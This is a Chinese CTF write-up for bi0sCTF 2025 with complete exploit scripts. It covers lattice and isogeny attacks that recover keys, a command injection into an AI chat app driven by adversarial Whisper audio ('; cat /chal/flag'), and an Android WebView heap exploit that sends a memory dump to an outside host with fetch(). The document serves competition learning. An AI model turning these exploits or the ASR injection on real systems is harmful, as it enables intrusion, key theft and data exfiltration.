def privkey_gen(self) -> int:    simple_lcg = lambda x: (x * 0xeccd4f4fea74c2b057dafe9c201bae658da461af44b5f04dd6470818429e043d + 0x8aaf15) % self.n
    ifnot self.cinit:        RNG_seed = simple_lcg(CORE)        self.n_gen = self.supreme_RNG(RNG_seed)        RNG_gen = next(self.n_gen)        self.cinit += 1    else:        RNG_gen = next(self.n_gen)               
    p1 = hex(self.real_bits(108))    p2 = hex(self.real_bits(107))[2:]
    priv_key = p1 + RNG_gen[:5] + p2 + RNG_gen[5:]
    returnint(priv_key, 16)


这里相当于nonce和key都会有已知的部分,求解多个chunk的问题则可以想办法当作HNP问题解决,由于可以拿"perform_deadcoin"选项把血加到160,算上拿flag密文的50血,剩下的110血最多可以签名五次,所以就是5次签名、多段chunk的HNP问题。


实际测一下会发现界稍微有点不够,但是题目的real_bits暗示了这些小量MSB为1,所以可以把这个MSB减掉做优化,这样子每个小量都减少了1bit,这样子做就差不多够了。


这里还能做balance再凹一下,不过既然已经够了就没有再写。


exp:


from Crypto.Util.number import bytes_to_long as b2lfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom Crypto.Random.random import getrandbitsfrom hashlib import sha256import json
CORE = 0xb4587f9bd72e39c54d77b252f96890f2347ceff5cb6231dfaadb94336df08dfdp = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2fa = 0x0000000000000000000000000000000000000000000000000000000000000000b = 0x0000000000000000000000000000000000000000000000000000000000000007Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141h = 0x1
def supreme_RNG(seed: int, length: int = 10):    while True:        str_seed = str(seed) if len(str(seed)) % 2 == 0else'0' + str(seed)        sqn = str(seed**2)        mid = len(str_seed) >> 1        start = (len(sqn) >> 1) - mid        end = (len(sqn) >> 1) + mid           yield sqn[start : end].zfill(length)        seed = int(sqn[start : end])
from pwn import remote, context, processfrom ast import literal_eval
context.log_level = "critical"
sh = remote("13.233.255.238", 4002)#sh = process(["python3", "chall.py"])
#################################################################################################### make blood 160simple_lcg = lambda x: (x * 0xeccd4f4fea74c2b057dafe9c201bae658da461af44b5f04dd6470818429e043d + 0x8aaf15) % nRNG_seed = simple_lcg(CORE)n_gen = supreme_RNG(RNG_seed)RNG_gen = next(n_gen)for i in range(3):    sh.recvuntil(b"Expecting Routine in JSON format: ")    msg = {"event""perform_deadcoin"}    msg = json.dumps(msg).encode()    sh.sendline(msg)    sh.recvuntil(b"deadcoin: (")    power, speed = literal_eval("(" + sh.recvline().strip().decode())    feedbacker_parry = int(next(n_gen))    sh.sendline(str(feedbacker_parry).encode())
#################################################################################################### signsigs = []for i in range(5):    sh.recvuntil(b"Expecting Routine in JSON format: ")    msg = {"event""call_the_signer"}    msg = json.dumps(msg).encode()    sh.sendline(msg)    sh.recvuntil(b"What do you wish to speak? ")    sh.sendline(b"msg")    sig = literal_eval(sh.recvline().strip().decode())    sigs.append(sig)
#################################################################################################### get flagsh.recvuntil(b"Expecting Routine in JSON format: ")msg = {"event""get_encrypted_flag"}msg = json.dumps(msg).encode()sh.sendline(msg)enc_flag = literal_eval(sh.recvline().strip().decode())
#################################################################################################### handle datar = []s = []benjamin = []Hmsg = sha256()Hmsg.update(b"msg")h = b2l(Hmsg.digest())for sig in sigs:    r.append(sig["r"])    s.append(sig["s"])    benjamin.append([sig['nonce_gen_consts'][0][1], sig['nonce_gen_consts'][1][1]])
from Crypto.Util.number import *nums = 5
d_ = int("5455600000000000000000000000000025000"16) + 2^255
L = Matrix(ZZ, 2+nums*6+12+nums*6+1)for i in range(nums):    benjamin1, benjamin2 = benjamin[i]    const_list = [0, (benjamin1 >> 24 & 0xFF), 0, (benjamin1 >> 16 & 0xFF) , 0, (benjamin1 >> 8 & 0xFF), 0, (benjamin1 & 0xFF), 0, (benjamin2 >> 24 & 0xFFF), 0]    shift_list = [232, 224, 200, 192, 160, 152, 83, 75, 45, 33, 0]    noncense = 2^255    forconst, shift in zip(const_list[:-2], shift_list[:-2]):        if(shift not in [232, 200, 160, 83, 45, 0]):            noncense += ((2*const+1) << (shift-1))    noncense += (benjamin2 >> 24 & 0xFFF) << 33    noncense += 2^31    ti = noncense
    exps = [232, 200, 160, 83, 45][::-1]    Ai1 = r[i]*inverse(s[i], n)*2^20    Ai2 = r[i]*inverse(s[i], n)*2^148    Bi = h*inverse(s[i], n) + r[i]*inverse(s[i], n)*d_ - ti
    L[03+nums*5+i] = Ai1    L[13+nums*5+i] = Ai2    L[23+nums*5+i] = Bi    for j in range(5):        L[3+5*i+j, 3+nums*5+i] = -2^exps[j]        L[-i-1, -i-1] = nfor i in range(3+5*nums):    L[i, i] = 1
Q1 = diagonal_matrix(ZZ, [2^107, 2^107, 1] + [2^29, 2^68, 2^31, 2^23, 2^23]*nums + [2^31]*nums)Q2 = diagonal_matrix(ZZ, [2^107]*(2+nums*6+1))Q = Matrix(ZZ, Q2 / Q1)L = L * QL = L.BKZ(block_size=20)#L = L.LLL()L = L / Qres = list(map(int, L[0]))d = res[0]*2^20 + (res[1]+2^107)*2^(128+20) + d_res = list(map(abs, L[0]))print(res)print(d)d = d_ + res[0]*2^20 + res[1]*2^148
c = bytes.fromhex(enc_flag["ciphertext"])iv = bytes.fromhex(enc_flag["iv"])
sha2 = sha256()sha2.update(str(d).encode('ascii'))key = sha2.digest()[:16]cipher = AES.new(key, AES.MODE_CBC, iv)flag = cipher.decrypt(c)
print(flag)
#bi0sCTF{p4rry_7h15_y0u_f1l7hy_w4r_m4ch1n3}


Baby Isogeny


题目分成了两个部分,分别对应两个flag。


第一部分比较容易,相比于普通的SIDH的公钥外额外给了$phi_A(P_A),phi_A(Q_A)$,由于$P_A + s_AQ_A$是同态核,所以$phi_A(P_A + s_AQ_A) = O$,也就是$phi_A(P_A) + s_Aphi_A(Q_A) = O$,因此在$2^{e_2}$下求个ECDLP即可。


第二部分赛后听说是有个2020年PlaidCTF的原题,不过既然2022年SIDH已经被完全攻破了,那么拿公钥用CD attack就能求出$s_B$来。


> 当然第一部分也可以这么做


exp:


e2, e3 = 216137p = 2**e2 * 3**e3 - 1F.<i> = GF(p**2, modulus=x^2+1)E0 = EllipticCurve(F, [0,6,0,1,0])
def generate_torsshn_basis(E, l, e, cofactor):    while True:        P = cofactor * E.random_point()        if (l^(e-1)) * P != 0            break    while True:        Q = cofactor * E.random_point()        if (l^(e-1)) * Q != 0and P.weil_pairing(Q, l^e) != 1:            break    return P, Q
def comp_iso(E, Ss, ℓ, e):    φ,  E1 = None, E    for k in range(e):        R = [ℓ**(e-k-1) * S for S in Ss]        ϕk = E1.isogeny(kernel=R)        Ss = [ϕk(S) for S in Ss]        E1 = ϕk.codomain()        φ  = ϕk if φ is None else ϕk * φ    return φ, E1
def j_ex(E, sk, pk, ℓ, e):    φ, _ = comp_iso(E, [pk[0] + sk*pk[1]], ℓ, e)    return φ.codomain().j_invariant()
########################################################################### get datafrom pwn import remote, context
context.log_level = "critical"sh = remote("13.233.255.238"4004)
def _get_infos(sh):    sh.recvuntil(b'PA:')    PA = eval(sh.recvline().strip())    sh.recvuntil(b'QA:')    QA = eval(sh.recvline().strip())    sh.recvuntil(b'PB:')    PB = eval(sh.recvline().strip())    sh.recvuntil(b'QB:')    QB = eval(sh.recvline().strip())     sh.recvuntil(b'EA invariants:')    EA = eval(sh.recvline().strip())     sh.recvuntil('φAPB:'.encode())    φAPB = eval(sh.recvline().strip())    sh.recvuntil('φAQB:'.encode())    φAQB = eval(sh.recvline().strip())    sh.recvuntil('φAPA:'.encode())    φAPA = eval(sh.recvline().strip())    sh.recvuntil('φAQA:'.encode())    φAQA = eval(sh.recvline().strip())    sh.recvuntil(b'EB invariants:')    EB = eval(sh.recvline().strip())    sh.recvuntil('φBPA:'.encode())    φBPA = eval(sh.recvline().strip())    sh.recvuntil('φBQA:'.encode())    φBQA = eval(sh.recvline().strip())    sh.recvuntil(b'IV1:')    iv1 = bytes.fromhex(sh.recvline().strip().decode())    sh.recvuntil(b'CT1:')    ct1 = bytes.fromhex(sh.recvline().strip().decode())    sh.recvuntil(b'IV2:')    iv2 = bytes.fromhex(sh.recvline().strip().decode())    sh.recvuntil(b'CT2:')    ct2 = bytes.fromhex(sh.recvline().strip().decode())    return (PA, PB, QA, QB, EA, φAPB, φAQB, φAPA, φAQA, EB, φBPA, φBQA, iv1, ct1, iv2, ct2)
PA, PB, QA, QB, EA, φAPB, φAQB, φAPA, φAQA, EB, φBPA, φBQA, iv1, ct1, iv2, ct2 = _get_infos(sh)EA = EllipticCurve(F, EA)EB = EllipticCurve(F, EB)PA = E0(PA[0], PA[1])PB = E0(PB[0], PB[1])QA = E0(QA[0], QA[1])QB = E0(QB[0], QB[1])φAPB = EA(φAPB[0], φAPB[1])φAQB = EA(φAQB[0], φAQB[1])φAPA = EA(φAPA[0], φAPA[1])φAQA = EA(φAQA[0], φAQA[1])φBPA = EB(φBPA[0], φBPA[1])φBQA = EB(φBQA[0], φBQA[1])
########################################################################### part1from Crypto.Cipher import AESimport hashlib
kA = (-φAPA).log(φAQA)j1 = j_ex(E0, kA, (PB,QB), 3, e3)k1 = str(j1).encode()c  = AES.new(hashlib.sha256(k1).digest()[:16], AES.MODE_CBC, iv1)flag1 = c.decrypt(ct1)
#bi0s{D3c0y_Fl4g}
########################################################################### part2def senddata(As, R, S):    a1,a2,a3,a4,a6 = As    Rx, Ry = R.xy()    Sx, Sy = S.xy()
    sh.sendline(str(a1).encode())    sh.sendline(b"0")    sh.sendline(str(a2).encode())    sh.sendline(b"0")    sh.sendline(str(a3).encode())    sh.sendline(b"0")    sh.sendline(str(a4).encode())    sh.sendline(b"0")    sh.sendline(str(a6).encode())    sh.sendline(b"0")
    sh.sendline(str(Rx[0]).encode())    sh.sendline(str(Rx[1]).encode())    sh.sendline(str(Ry[0]).encode())    sh.sendline(str(Ry[1]).encode())
    sh.sendline(str(Sx[0]).encode())    sh.sendline(str(Sx[1]).encode())    sh.sendline(str(Sy[0]).encode())    sh.sendline(str(Sy[1]).encode())
for i in range(1):    senddata([0,6,0,1,0], PB, 2^e2*QB)    sh.recvuntil(b"IV? ")    sh.sendline(iv1.hex().encode())    sh.recvuntil(b"CT? ")    sh.sendline(ct1.hex().encode())    print(sh.recvline())
from Crypto.Util.number import *
phiA = E0.isogeny(PA+kA*QA, algorithm="factored")kA = int(kA)t = PB.weil_pairing(QB, 3^e3)^(2^e2)R = φAPB + kA*φAQBS = φAQB
print(R*3^(e3-1))print(S*3^(e3-1))print()print(R.weil_pairing(S, 3^e3))print(t)print()print(R.weil_pairing(S, 3^e3))print(S.weil_pairing(R, 3^e3))
cd Castryck-Decru-SageMath
print(EB.a4())print(EB.a6())
import public_values_auxfrom public_values_aux import *
load('castryck_decru_shortcut.sage')
# Set the prime, finite fields and starting curve# with known endomorphisma = 216b = 137p = 2^a*3^b - 1
Fp2.<i> = GF(p^2, modulus=x^2+1)
E_start = EllipticCurve(Fp2, [0,6,0,1,0])E_start.set_order((p+1)^2) # Speeds things up in Sage
# Generation of the endomorphism 2itwo_i = generate_distortion_map(E_start)
P = (20690403536392600078465656902710363117843247569466482645756663793753891298992211729087027856554169508141272578660842094566655403137*i + 16313433142637367692941430599385014493404794403854859854624205369306396917751115446704244406178629747993507907228260477430638842437, 13240118368016462653242950463874416865624957755085204302097461557464033306934756775874343949434013431785971080511030152954665862402*i + 17411535874626655815701394530778913744065993420414326942794353796944763296323578071346047073392413629608998374581884523985597354377)Q = (530290421604148520946715544830479351023444842656600324420383346842445912159381995676722023776390850471037541036852294305111366285*i + 7978202182312829844532329844810170240709820010779101661489823493535583930760282790476527690569585555122507806167461738332415098913, 9922991329381138683325080810474010228379415566956892851628961275695942492131088223134795054195201404510987502283068047090361025256*i + 7885084367545037597233039648187059386852394478247750620454059677001953608069991240451954765847561420172509965496419656761187677200)R = (13261153378017697106041503751577798380956883188431296135591915933058432093236066874918736134211069523397226431181641578835836853238*i + 23248101494249896278330811123603802113794850422580749159165472836483445458703775047836103274254018347766425268093967693702451092281, 3101345661822552949952717890191601182832890426998183572449836908532397735613856471343047186206447734077168032391261222249622682952*i + 305344612566459501873620338679870170047869393202371566200323473940269441644720528559856038701922600490585653467313350218170730612)S = (7452048497742668634287348595641254089575576512174819720925569011847695590850703316766765430486619528028227743426727440789865330810*i + 17150498010281396528262267848334546009568339628938964905405951752028488985271343679865260360990549113911411010204267336239355165064, 18642234144947487952387857480395010009139922092084576517645674251833065908792304187628646040711965444040134474013475229083229636569*i + 10492174819244759882470969341652764196312191667726765992091796371720266674517845884620505189554701997905848753024503551180264244994)
P, Q, R, S = map(E_start, (P, Q, R, S))
_phi_dom = EllipticCurve(Fp2, [    0,    6,    0,    (18122192556948301221814159144989245012698418266644753827363944094633027754085427819689040586095693492314207688391207894544072922417*i + 295971526488747107051088633733435681138379590287018721375828742300711170642742254379691464964029797585883155556170625483692068789),    (4320051037787064142025126127083609469727496934356686783898727481014552750412299627658025558254431197695486751787215996779083276555*i + 17361605212809427537704587871472438638342304525240485984893239796611691071089998872533488704749464868644392845805856627129509147334)])_phi_dom.set_order((p+1)**2, num_checks=0)_phi_P = (14738684752814962807194800797694318159529032381678782236634760897186252282789503797467600273775927587387475286539272826003527029282*i + 272328672055623004840998155068789778683534026252648022022754058075704137233383649698095183479894479322384234414398958176519215778, 20298131923383693449505533790926590653708933506785111256562381226779010898198984807924593228995234924398219627655497001433430323059*i + 21000478808521692066527652770372470230350100100283162666533846036044659923118770788633552350843642854059156865830436993637143683785)_phi_Q = (12716877011508353080047258292068980569124019748393862006936548518884440756079905143183128680766867212146328144556876268022953412650*i + 6580286285719406278564766321573004896757200107686910611705139943727897104248398745630902764660435278907037984581466950390221597033, 17912926769273897120965323283827018931613119952811921777692149835506985915321924018429004045147884985547113900697995147668748084024*i + 22519777481694662787566125886243347890924181732739562798486194766287553495654665402685257207721262217261097832521350175541039703395)
_phi_P, _phi_Q = map(_phi_dom, (_phi_P, _phi_Q))
P2, Q2, P3, Q3 = P, Q, R, SEB, PB, QB = _phi_dom, _phi_P, _phi_Q
# ===================================# =====  ATTACK  ====================# ===================================
def RunAttack(num_cores):    return CastryckDecruAttack(E_start, P2, Q2, EB, PB, QB, two_i, num_cores=num_cores)
#recovered_key = SandwichAttack(E_start, P2, Q2, EB, PB, QB, two_i, k=5, alp=0)recovered_key = RunAttack(num_cores=4)
kB = 34420050193779785329914100515143103901626547439989217662246215969
j2 = j_ex(E0, kB, (PA,QA), 2, e2)k2 = str(j2).encode()c  = AES.new(hashlib.sha256(k2).digest()[:16], AES.MODE_CBC, iv2)flag2 = c.decrypt(ct2)print(flag2)

#bi0s{B4by1s0g3ny_J1nv4r14nt_Pwn}





Misc + AI


dont_whisper


题目是一个AI助手,可以选择文字交流,或者上传音频进行对话。


代码审计发现:


srcchatappapp.py#L134
result = subprocess.run(        [            "python3""whisper.py""--model""tiny.en", audio_file_path,            "--language""English""--best_of""5""--beam_size""None"        ],        stdout=subprocess.PIPE,        stderr=subprocess.PIPE,        text=True    )
    # Check for errors    if result.returncode != 0:        return JSONResponse(content={"error""Error processing audio file."}, status_code=500)
    transcription = result.stdout.strip()    ifnot transcription:        return JSONResponse(content={"error""No transcription generated."}, status_code=400)
    print("Transcription",transcription)    chatbot_proc = await asyncio.create_subprocess_shell(        f"python3 chatbot.py '{transcription}'",        stdout=asyncio.subprocess.PIPE,        stderr=asyncio.subprocess.STDOUT    )    chatbot_stdout, chatbot_stderr = await chatbot_proc.communicate()    return JSONResponse(content={"response": chatbot_stdout.decode().strip(), "transcription": transcription})


存在命令拼接,将ASR模型识别的输出直接拼接,从而RCE


在下述代码发现模型输出中,包括了命令拼接所需要的符号:


srcwhispertranscribe.py#49-50
deftranscribe(    model: "Whisper",    audio: Union[str, np.ndarray, torch.Tensor],    *,    verbose: Optional[bool] = None,    temperature: Union[floatTuple[float, ...]] = (0.00.20.40.60.81.0),    compression_ratio_threshold: Optional[float] = 2.4,    logprob_threshold: Optional[float] = -1.0,    no_speech_threshold: Optional[float] = 0.6,    condition_on_previous_text: bool = True,    initial_prompt: Optional[str] = None,    word_timestamps: bool = False,    prepend_punctuations: str = ""'“¿([{-",    append_punctuations: str = ""'.。,,!!??::”)]}、",    **decode_options,):


于是尝试构造对抗样本,使得模型输出为


' ; cat /chal/flag'


拼接后变为


python3 chatbot.py '' ; cat /chal/flag''


通过源码(或者论文),whisper模型本质是encoder-decoder结构,大致过程可以描述为


wav_file -> log_mel_spectrogram() -> mel -> pad_or_trim() -> mel_frame -> model.encoder() -> features
token: list -> token[0] = OUTPUT_START -> token[0:i], features -> model.forward() -> token[i] -> if token[i] != OUTPUT_END ? LOOP : BREAK
token -> model.decoder()


进行对抗样本即可,经过尝试采用一个巧妙的方式完成优化。


import torchfrom whisper import load_modelfrom whisper.audio import log_mel_spectrogram, pad_or_trimfrom whisper.tokenizer import get_tokenizerimport torchaudiofrom torch import nn
DEVICE = "cuda"target_text = "' ; cat /chal/flag'"model = load_model("tiny.en")model.eval()tokenizer = get_tokenizer(    model.is_multilingual,    num_languages=model.num_languages,    language="en",    task="transcribe",)target_tokens = tokenizer.encode(target_text)target_tokens = target_tokens + [50256]
print(target_tokens)
adv = torch.randn(116000*20, device=DEVICE, requires_grad=True)optimizer = torch.optim.Adam([adv], lr=0.01)loss_fn = nn.CrossEntropyLoss()
num_iterations = 50for i in range(num_iterations):    tokens = torch.tensor([[5025750362]], device=DEVICE)  # [SOT, EN]    total_loss = 0    for target_token in target_tokens:        optimizer.zero_grad()
        mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=16000*30)        mel = pad_or_trim(mel, 3000).to(model.device)        audio_features = model.embed_audio(mel)
        logits = model.logits(tokens, audio_features)[:, -1]        loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE))        total_loss += loss        loss.backward()        optimizer.step()        adv.data = adv.data.clamp(-11)        assert adv.max() <= 1and adv.min() >= -1        tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=1)
    print(tokens.tolist())    print(f"Iteration {i+1}/{num_iterations}, Loss: {loss.item():.4f}")
torchaudio.save("adversarial.wav", adv.detach().cpu(), 16000)
print("nTranscribing generated adversarial audio:")result = model.transcribe(adv.detach().cpu().squeeze(0))print(f"Transcription: {result['text']}")





Pwn


cratecrack


java 层:


package bi0sctf.challenge;
import android.os.Bundle;import android.webkit.JavascriptInterface;import androidx.appcompat.app.AppCompatActivity;/* loaded from: classes.dex */publicclassMainActivityextendsAppCompatActivity {    publicnativelongaddNote(byte[] bArr);    publicnativevoiddeleteNote(long j);    publicnativevoidedit(byte[] bArr, long j);    publicnativevoidencryption();    publicnative String getContent(long j);    publicnative String getId(long j);    publicnativevoidwhiplash(MainActivity mainActivity);    static {        System.loadLibrary("supernova");        System.loadLibrary("bob");    }    @JavascriptInterface    publiclongsecure_addNote(byte[] bArr){        return addNote(bArr);    }    @JavascriptInterface    publicvoidsecure_deleteNote(long j){        deleteNote(j);    }    @JavascriptInterface    publicvoidsecure_edit(byte[] bArr, long j){        edit(bArr, j);    }    @JavascriptInterface    public String secure_getContent(long j){        return getContent(j);    }    @JavascriptInterface    public String secure_getId(long j){        return getId(j);    }    @JavascriptInterface    publicvoidsecure_encryption(){        encryption();    }    /* JADX INFO: Access modifiers changed from: protected */    @Override// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity    publicvoidonCreate(Bundle bundle){        super.onCreate(bundle);        whiplash(this);    }}


只有 JavascriptInterface 的定义,实现全在 native 层。先看 onCreate 时调用的 libsupernova.so 中的 whiplash 函数,这个库是用 rust 写的,不过 jnienv.rs 中的 api 调用都没有展开,只看这几个函数的调用即可得到实际的逻辑:


Intentintent= getIntent();Stringurl= intent.getStringExtra("url");setContentView(R.layout.activity_main);WebViewwebview= findViewById(R.id.webView);WebSettingssettings= webview.getSettings();settings.setJavaScriptEnabled(true);settings.setCacheMode(4);webview.addJavascriptInterface(this, "aespa");WebViewClientclient1=newWebViewClient();webview.setWebViewClient(client1);WebChromeClientclient2=newWebChromeClient();webview.setWebChromeClient(client2);webview.loadUrl(url);


拿到 aespa 这个就能在 javascript 中调用 java 函数了。


再看 libbob.so 中对 JavascriptInterface 函数的实现:


jlong __fastcall Java_bi0sctf_challenge_MainActivity_addNote(JNIEnv *env, jobject thiz, jbyteArray ba){  jlong v3; // rbx  constchar *v4; // r14  int v5; // eax  char *v6; // rax
  v3 = -1LL;  if ( note_count != 10 )  {    v4 = (*env)->GetByteArrayElements(env, ba, 0LL);    if ( strlen(v4) <= 0x1F )    {      v5 = strlen(v4);      v6 = (char *)talloc(v5, v4);      v3 = note_count;      noteBook[note_count] = v6;      note_count = v3 + 1;    }  }  return v3;}
void __fastcall Java_bi0sctf_challenge_MainActivity_deleteNote(JNIEnv *env, jobject thiz, jlong index){  if ( index <= 9 )  {    tree(noteBook[index]);    --note_count;  }}
void __fastcall Java_bi0sctf_challenge_MainActivity_edit(JNIEnv *env, jobject thiz, jbyteArray ba, jlong id){  constchar *v6; // r14  char *v7; // r15  size_t v8; // rax  char *v9; // rbx
  if ( id <= 9 && strlen((constchar *)ba) <= 0x1F )  {    v6 = (*env)->GetByteArrayElements(env, ba, 0LL);    v7 = noteBook[id];    v8 = strlen(v6);    memcpy(v7, v6, v8);    if ( strlen(v6) <= 0x1F )    {      v9 = noteBook[id];      v9[strlen(v6)] = 0;    }  }}
jstring __fastcall Java_bi0sctf_challenge_MainActivity_getId(JNIEnv *env, jobject thiz, jlong idx){  char v4[32]; // [rsp+0h] [rbp-38h] BYREF  unsigned __int64 v5; // [rsp+20h] [rbp-18h]
  v5 = __readfsqword(0x28u);  if ( idx > 9 )    return"Nice Try";  ull_to_string(v4, *((_QWORD *)noteBook[idx] + 4));  return (*env)->NewStringUTF(env, v4);}
jstring __fastcall Java_bi0sctf_challenge_MainActivity_getContent(JNIEnv *env, jobject thiz, jlong idx){  constchar *v3; // rsi
  v3 = "Only for premium users.";  if ( idx >= 10 )    v3 = "lol nice try.";  return (*env)->NewStringUTF(env, v3);}


自定义堆实现,分配 talloc 、释放 tree ,在此基础上做的菜单堆题,可以增删改以及有限制的查。添加时限制字符串长度小于 0x20 ;删除没限制;改看起来是限制字符串长度小于 0x20 ,实际上第一个 strlen 的参数错了,直接传了个 jbyteArray 类型进去,所以相当于是没限制,这里存在溢出写;查询只能使用 getId ,拿到的是 0x20 偏移处的一个 uint64_t 的值,并以字符串形式返回。


再看自定义堆实现,初始化时 mmap 一段内存后前 0x38 字节作为堆头,后面作为 top_chunk ,这里还有 0x30 和 0x3a63 的赋值,不知道有什么用,不过 0x30 会在后续的 exp 中用到。


bi0sCTF 2025 Writeup by r3kapig


之后将判断要分配的 chunk 大小是否大于 0x150 ,如果大于就从 large_bins 中取,否则从 small_bins 中取。这两者都是双向链表,采取的策略是  best fit ,链表是无序的所以需要遍历到 NULL 或者遍历的次数达到 20 。


bi0sCTF 2025 Writeup by r3kapig



bi0sCTF 2025 Writeup by r3kapig


如果链表中存在符合的 chunk ,那么不分割直接解链;否则从 topchunk 中分配:


bi0sCTF 2025 Writeup by r3kapig


每个 chunk 第一个 _QWORD 为 chunk_size ,最低位为 use 位;当 chunk 分配出去后, chunk_size 最低位置为 1 ,用户数据从 0x8 的偏移处开始存放;当 chunk 被 free 时,如果后一个块是 topchunk ,那么直接合并:


bi0sCTF 2025 Writeup by r3kapig


否则根据 chunk_size 与 0x100 比较的结果头插入 small_bins 或 large_bins 中(与分配时的大小判断不一样,不过无所谓,本题只用到 small_bins ), 0x8 偏移处依次存放 next 与 prev 指针:


bi0sCTF 2025 Writeup by r3kapig


有 edit 的任意溢出,那么覆盖 next 指针后就可以任意分配,不过前提是 next 指针指向的位置的前一个 _QWORD 必须是一个比目标 chunksize 大的偶数,初始化时赋值的 0x30 这个值就刚好可以用到,并且 0x30 后面正好就是 small_bins 和 large_bins ,这一段分配出来之后就可以完全控制 small_bins 从而更简单的任意分配。


不过这整段内存都是 mmap 出来的,上面只存放了这段内存里的地址,无法泄露到其它空间,所以只能实现在这段内存上的任意读写。题目中还有一个 encryption 函数,这个函数里对 flag 做了一些密码学算法,之后通过 talloc 将运算结果保存在了自定义堆上:


bi0sCTF 2025 Writeup by r3kapig


所以目标很明显,用任意读泄露出运算结果后就是个密码学问题了。


堆漏洞的 exp :


<!DOCTYPE html><htmllang="UTF-8"><scripttype="text/javascript">functionsecure_char_at(s, i) {    if (i < 0 || i >= s.length) {        thrownew Error("invalid index: " + i);    }    let c = s.charCodeAt(i);    if (c < 0 || c >= 0x100) {        thrownew Error("invalid charcode: " + c);    }    return c;}functionstring_to_uint8array(s){    arr = newUint8Array(s.length);    for (let i = 0; i < s.length; i++) {        arr[i] = secure_char_at(s, i);    }    return arr;}functioncreate(s){    return aespa.secure_addNote(string_to_uint8array(s));}functiondelet(idx){    aespa.secure_deleteNote(idx);}functionedit(idx, s){    if (s.lastIndexOf("x00") >= 0x20) {        thrownew Error("null byte");    }    let null_index = s.indexOf("x00");    if (null_index == -1) {        aespa.secure_edit(string_to_uint8array(s + "x00"), idx);    } else {        const padding = "0123456789abcdef0123456789abcdef";        // call edit recursive to put all null bytes        edit(idx, padding.substring(0, null_index + 1) + s.substring(null_index + 1));        aespa.secure_edit(string_to_uint8array(s.substring(0, null_index) + "x00"), idx);    }}functiongetId(idx){    return aespa.secure_getId(idx);}functionencryption(){    aespa.secure_encryption();}functionprint_to_screen(s){    document.write("" + s);    document.write("<br>");}functionto_hex(s){    // if (s.length == 0) {    //     return "(empty)"    // }    const table = "0123456789abcdef";    var t = "";    for (let i = 0; i < s.length; i++) {        let c = secure_char_at(s, i);        t += table[c >> 4];        t += table[c & 15];    }    // return '"' + t + '"';    return t;}functionp64(bn){    let b = BigInt(bn);    var s = "";    for (let i = 0; i < 8; i++) {        s += String.fromCharCode(Number(b & 0xffn));        b = b >> 8n;    }    return s;}functionstrip_null(s){    var index = s.length;    while (index > 0 && s[index - 1] == "x00") {        index--;    }    return s.substring(0, index);}functionzero_range(idx, start_offset, end_offset){    if (start_offset > end_offset || end_offset > 0x20) {        thrownew Error("bad offset");    }    const padding = "0123456789abcdef0123456789abcdef";    for (let i = end_offset - 1; i >= start_offset; i--) {        edit(idx, padding.substring(0, i));    }}print_to_screen("exp begin");try {    // header: 0x00-0x38    // idx0:   0x38-0x58    var idx0 = create("aaa"); // 0x40    // idx1:   0x58-0x78    var idx1 = create("bbb"); // 0x60    // idx2:   0x78-0x98    var idx2 = create("ccc"); // 0x80    // idx3:   0x98-0xb8    var idx3 = create("ddd"); // 0xa0    // idx3:   0xb8-0xd8    var idx4 = create("eee"); // 0xc0    // top = 0xd8    delet(idx3);    delet(idx1);    // print_to_screen(BigInt(getId(idx0)));    var mem_base = BigInt(getId(idx0)) - 0xa0n;    print_to_screen("memory base = " + mem_base.toString(16));    if ((mem_base & 0xfffn) != 0n) {        thrownew Error("bad memory base");    }    edit(idx1, strip_null(p64(mem_base + 0x10n)));    // print_to_screen(BigInt(getId(idx0)).toString(16));    var idx5 = create("0123456789abcdef0123456789abcde");    // print_to_screen(BigInt(getId(idx0)).toString(16));    zero_range(idx5, 08);    // idx6:   0xd8-0xf8    var idx6 = create("fff"); // 0xe0    // idx7:   0xf8-0x118    var idx7 = create("ggg"); // 0x100    // top = 0x118    // var idx8 = create("abcdefghijklmnopqrstuvwxyz");    encryption();        zero_range(idx6, 0x0a0x20);    edit(idx6, "01234567x20");    var memdump = "";    for (let i = 0n; i < 0x180n; i += 8n) {        edit(idx5, strip_null(p64(mem_base + 0xf0n + i)));        var tmp_idx = create("???");        var tmp_mem = to_hex(p64(BigInt(getId(tmp_idx))));        print_to_screen(tmp_mem);        memdump += tmp_mem        delet(tmp_idx);        zero_range(tmp_idx, 0x020x18);        edit(tmp_idx, "x20");    }    // replace with your server's host:port    fetch("http://192.168.0.108:8000/test?memdump=" + memdump);catch (e) {    print_to_screen(e);}print_to_screen("exp end");</script></body></html>


后续进一步即使用2组 ECDSA 签名中的 nonce 差值是一个已知的值进行求解即可


bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig


两式相互减后得到

bi0sCTF 2025 Writeup by r3kapig

未知变量仅为 $x$,直接求解即可恢复私钥,后续直接解密flag即可。


在源码处理过程中,secp256k1库为了防止“交易延展性”(transaction malleability)攻击,该库强制执行了 “low-s” 规则。这意味着,如果计算出的签名 s 值大于椭圆曲线阶数 n 的一半,库会自动将其转换为 n - s。因此需要做相关的操作获取真正的s1,s2。


from hashlib import sha256from Crypto.Cipher import AESfrom ecdsa.curves import SECP256k1from ecdsa.numbertheory importinverse_modd1= sha256(    b"Lord, grant me the strength to accept the things I cannot change; Courage to change the things I can; And wisdom to know the difference.").digest()d2 = sha256(b"Wherever There Is Light, There Are Always Shadows").digest()
